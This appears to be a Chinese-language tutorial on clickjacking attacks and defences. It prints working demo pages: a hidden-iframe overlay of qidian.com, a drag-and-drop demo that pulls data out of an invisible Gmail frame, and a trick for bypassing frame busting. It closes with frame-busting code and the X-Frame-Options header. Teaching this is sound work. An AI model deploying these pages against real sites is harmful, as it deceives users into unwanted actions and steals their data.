点击劫持(clickjacking)
点击劫持最早是在08年由安全专家Reboot Hansen和Jeremiah Grossman发现,这种攻击方式影响了几乎所有的桌面平台。那么什么是点击劫持??点击劫持其实是一种视觉上的欺骗手段,攻击者将一个透明的、不可见的iframe覆盖在一个网页上,通过调整iframe页面位置,诱使用户在页面上进行操作,在不知情的情况下用户的点击恰好是点击在iframe页面的一些功能按钮上。比如转账,刷粉,下载。。。。等
为了理解clickjacking,我们先来看看页面覆盖代码如下:
<!DOCTYPE html>
<html>
<head>
<title>CLICK JACK!!!</title>
<style>
iframe {
width: 900px;
height: 250px;
/* Use absolute positioning to
line up update button with fake button */
position: absolute;
top: -195px;
left: -740px;
z-index: 2;
/* Hide from view */
-moz-opacity: 0.5;
opacity: 0;
filter: alpha(opacity=0.5);
}
button {
position: absolute;
top: 10px;
left: 10px;
z-index: 1;
width: 120px;
}
</style>
</head>
<body>
<iframe src="http://www.qidian.com"
scrolling="no"></iframe>
<button>CLICK HERE!</button>
</body>
</html>
攻击者通过调整iframe的height、width、top、left的值就可以把iframe页面任意部分覆盖到任何地方。再设置iframe的position的值为absolute,将Z-index值设置为最大,那么iframe就会处于页面的最上层。opacity是控制iframe透明度,0为完全透明。这样,一个完全透明的clickjacking页面就神不知鬼不觉的覆盖在用户访问的正常页面上。
Flash点击劫持
点击劫持与CSRF攻击有异曲同工之妙,他们都是在用户不知情的情况下诱使用户完成一些动作。CSRF在攻击过程中果出现与用户交互的页面,则攻击有可能无法完成。而点击劫持恰恰是利用与用户交互而完成的攻击,因此在Flash中这类点击劫持现象更为严重。攻击者利用简单的Flash小游戏诱使用户点击,经过一系列点击后达到控制用户电脑的目的。
图片覆盖攻击
由于点击劫持的本质是一种视觉欺骗,那么采用图片覆盖也可起到类似作用,简称XSIO(cross site image overiaying)。这种攻击通过调整图片的style使得图片可以覆盖在指定位置。如果攻击者将图片伪装成一个正常的链接、按钮或者在图片中构造一些文字覆盖在关键字位置,这样就完全改变了开发者所表达的意思,此时不需要用户点击也可达到欺骗目的。
<img>标签在很多系统中是对用户开放的,因此在现实中非常多的站点存在被XSIO攻击的可能。一般通过检查用户提交的HTML代码中的<img>标签style属性是否可能导致浮出来防御XSIO攻击。
拖拽劫持与数据窃取
目前很多浏览器都支持Drag&Drop的API,这对于用户来说拖拽的操作更加简单,不管是一个链接、一段文字、或者从一个窗口拖拽到另外一个窗口,因此拖拽是不受同源策略的限制。拖拽劫持的思路是诱使用户从隐藏不可见的iframe中拖拽出攻击者希望得到的数据放到攻击者能控制的另外一个页面中,达到窃取数据的目的。
附上安全研究者xisigr的小游戏源代码,有机会可以研究研究:
<html>
<head>
<title>
Gmail Clickjacking with drag and drop
Attack Demo
</title>
<style>
.iframe_hidden{height: 50px; width:
50px; top:360px; left:365px; overflow:hidden;
filter: alpha(opacity=0); opacity:.0;
position: absolute; } .text_area_hidden{
height: 30px; width: 30px; top:160px;
left:670px; overflow:hidden; filter:
alpha(opacity=0); opacity:.0;
position: absolute; } .ball{ top:350px;
left:350px;
position:
absolute; } .ball_1{ top:136px; left:640px;
filter: alpha(opacity=0);
opacity:.0; position:
absolute; }.Dolphin{ top:150px; left:600px;
position:
absolute; }.center{ margin-right:
auto;margin-left: auto;
vertical-align:middle;text-align:center;
margin-top:350px;}
</style>
<script>
function Init() {
var source =
document.getElementById("source");
var target =
document.getElementById("target");
if (source.addEventListener) {
target.addEventListener("drop",
DumpInfo, false);
} else {
target.attachEvent("ondrop",
DumpInfo);
}
}
function DumpInfo(event) {
showHide_ball.call(this);
showHide_ball_1.call(this);
var info =
document.getElementById("info");
info.innerHTML += "<span
style=‘color:#3355cc;font-size:13px‘>" +
event.dataTransfer.getData(‘Text‘) + "</
span><br> ";
}
function showHide_frame() {
var iframe_1 =
document.getElementById("iframe_1");
iframe_1.style.opacity =
this.checked ? "0.5": "0";
iframe_1.style.filter =
"progid:DXImageTransform.Microsoft.Alpha(opac
ity=" +
(this.checked ? "50": "0") + ");"
}
function showHide_text() {
var text_1 =
document.getElementById("target");
text_1.style.opacity =
this.checked ? "0.5": "0";
text_1.style.filter =
"progid:DXImageTransform.Microsoft.Alpha(opac
ity=" +
(this.checked ? "50": "0") + ");"
}
function showHide_ball() {
var hide_ball =
document.getElementById("hide_ball");
hide_ball.style.opacity = "0";
hide_ball.style.filter =
"alpha(opacity=0)";
}
function showHide_ball_1() {
var hide_ball_1 =
document.getElementById("hide_ball_1");
hide_ball_1.style.opacity = "1";
hide_ball_1.style.filter =
"alpha(opacity=100)";
}
function reload_text() {
document.getElementById("target").value = ‘‘;
}
</script>
</head>
<body >
<center>
<h1>
Gmail Clickjacking with drag and
drop Attack
</h1>
</center>
<img id="hide_ball" src=ball.png
class="ball">
<div id="source">
<iframe id="iframe_1"
src="https://mail.google.com/mail/ig/mailmax"
class="iframe_hidden"
scrolling="no">
</iframe>
</div>
<img src=Dolphin.jpg class="Dolphin">
<div>
<img id="hide_ball_1" src=ball.png
class="ball_1">
</div>
<div>
<textarea id="target"
class="text_area_hidden">
</textarea>
</div>
<div id="info"
style="position:absolute;background-
color:#e0e0e0;font-weight:bold;
top:600px;">
</div>
<center>
Note: Clicking "ctrl + a" to select
the ball, then drag it to the
<br>
mouth of the dolphin with the
mouse.Make sure you have logged into GMAIL.
<br>
</center>
<br>
<br>
<div class="center">
<center>
<center>
<input id="showHide_frame"
type="checkbox"
onclick="showHide_frame.call(this);"
/>
<label for="showHide_frame">
Show the jacked I--Frame
</label>
|
<input id="showHide_text"
type="checkbox"
onclick="showHide_text.call(this);"
/>
<label for="showHide_text">
Show the jacked Textarea
</label>
|
<input type=button value="Replay"
onclick="location.reload();reload_text();">
</center>
<br><br>
<b>
Design by
<a target="_blank"
href="http://hi.baidu.com/xisigr">
xisigr
</a>
</b>
</center>
</div>
</body>
</html>
触屏劫持
随着触屏技术的发展,clickjacking的攻击方式也更进一步,10年斯坦福公布触屏劫持攻击。触屏劫持的原理:首先分析一次触屏操作可能会有一下几个事件:
touchstart 手指触摸屏幕时发生
touchend 手指离开屏幕时发生
touchmove 手指滑动时发生
touchcancel 系统可取消touch事件
通过将一个不可见的iframe覆盖到当前网页上就可以劫持用户的触屏操作。手机屏幕范围有限,手机浏览器为了节省空间把地址栏隐藏起来,因此在手机上的视觉欺骗更容易实施。
clickjacking的防御
clickjacking其实就是一种视觉上的欺骗,一般通过禁止跨域的iframe来防范。
方法一,通过写一段javascript代码来禁止iframe的嵌套,这种方法叫frame busting,如:
if ( top.location != location ) {
top.location = self.location;
}
常见的frame busting有一下方式:
if (top != self)
if (top.location != self.location)
if (top.location != location)
if (parent.frames.length > 0)
if (window != top)
if (window.top !== window.self)
if (window.self != window.top)
if (parent && parent != window)
if (parent && parent.frames &&
parent.frames.length>0)
if((self.parent&&!
(self.parent===self))&&(self.parent.frames.le
ngth!=0))
top.location = self.location
top.location.href = document.location.href
top.location.href = self.location.href
top.location.replace(self.location)
top.location.href = window.location.href
top.location.replace(document.location)
top.location.href = window.location.href
top.location.href = "URL"
document.write(‘‘)
top.location = location
top.location.replace(document.location)
top.location.replace(‘URL‘)
top.location.href = document.location
top.location.replace(window.location.href)
top.location.href = location.href
self.parent.location = document.location
parent.location.href = self.document.location
parent.location = self.location ;
}
话说强中自有强中手,一山还有一山高,通过一下方式即可绕过上面的保护代码:
Attacker top frame:
<iframe src="attacker2 .html">
Attacker sub-frame:
<iframe src="http://www.victim.com">
方法二,由于frame busting存在被绕过的可能性,因此研究者们由想到了一个比较好的方法:使用http头————X-frame-option,它有三个可选值
DENY 拒绝浏览器加载任何frame页面
SAMEORIGIN frame页面地址只能是同源域名下的页面
ALLOW-FROM origin 可自定义允许frame加载页面地址
除此之外有的浏览器厂商也增加扩展功能来防御clickjacking,如firefox的"content security policy"和"No-script"